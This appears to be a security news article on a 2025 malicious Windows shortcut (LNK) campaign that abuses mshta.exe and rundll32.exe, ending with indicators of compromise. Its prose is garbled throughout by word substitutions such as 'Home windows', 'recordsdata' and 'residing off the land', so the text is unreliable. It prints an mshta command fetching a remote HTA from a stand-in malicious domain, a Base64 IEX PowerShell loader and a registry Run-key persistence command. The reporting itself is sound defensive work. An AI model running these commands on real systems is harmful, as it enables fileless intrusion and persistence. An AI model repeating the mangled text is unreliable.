A latest wave of assaults leveraging malicious Home windows shortcut recordsdata (.LNK) has put safety groups on excessive alert.
Rising in late August 2025, this new LNK malware distribution exploits trusted Microsoft binaries to bypass endpoint protections and execute payloads with out elevating suspicions.
Delivered primarily through spear-phishing emails and compromised web sites, the shortcut recordsdata seem innocuous, embedding instructions that invoke respectable Home windows utilities to fetch and launch further malware elements.
Early victims have reported delicate indicators of compromise, equivalent to anomalous PowerShell calls and sudden community connections, typically dismissed as benign system exercise.
Researchers noticed that the marketing campaign targets each enterprise and client endpoints, specializing in customers with elevated privileges.
The preliminary lure emails mimic inside IT notifications or safety alerts, encouraging recipients to click on on a seemingly innocent shortcut attachment.
Upon execution, the LNK file triggers Home windows Explorer to load a hidden payload, successfully weaponizing built-in binaries like mshta.exe and rundll32.exe to stage the assault.
This method permits the risk actor to evade antivirus signatures and behavioral detection guidelines that usually flag direct execution of unknown executables.
K7 Safety Labs analysts famous that the attackers rigorously crafted the LNK payload to leverage encoded parameters handed to those native utilities, stopping easy evaluation by sandbox environments.
By chaining a number of benign processes, the malware achieves “residing off the land” execution, decreasing its forensic footprint on disk and in reminiscence.
Victims’ endpoint logs present speedy course of spawning occasions, the place every course of palms off execution to the subsequent stage in underneath a second, complicating detection efforts.
An infection Mechanism and Payload Deployment
Diving deeper into the an infection mechanism, the malicious .LNK file embeds an OLE object that factors to a distant HTML utility (HTA) script hosted on a compromised server.
When a person double-clicks the shortcut, Explorer invokes mshta.exe with the next command line:-
mshta.exe “http[:]//malicious-domain.com/loader.hta”
An infection chain stream (Supply – K7 Safety Labs)
Right here the obfuscated loader script makes use of Base64-encoded PowerShell instructions to obtain the next-stage payload:-
$payload = ‘aGVsbG8gd29ybGQ=’
IEX ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)))
This snippet decodes and executes a easy script from reminiscence, demonstrating how the attacker minimizes disk writes.
As soon as the HTA executes, it leverages rundll32.exe to load a malicious DLL immediately right into a suspended svchost.exe course of, bypassing executable file scanning.
The DLL is answerable for establishing persistence by making a Win32 registry run key:-
HKCU:SoftwareMicrosoftWindowsCurrentVersionRun -Identify “Updater” -Worth “rundll32.exe C:WindowsTempupdater.dll,EntryPoint”
By abusing registry-based persistence and trusted Home windows binaries, the malware ensures that it launches routinely upon person login, even when endpoint detections try and quarantine the DLL file.
Indicators of compromise embody community requests to suspicious domains, anomalous mshta.exe and rundll32.exe course of bushes, and unrecognized registry entries underneath the CurrentVersionRun key.
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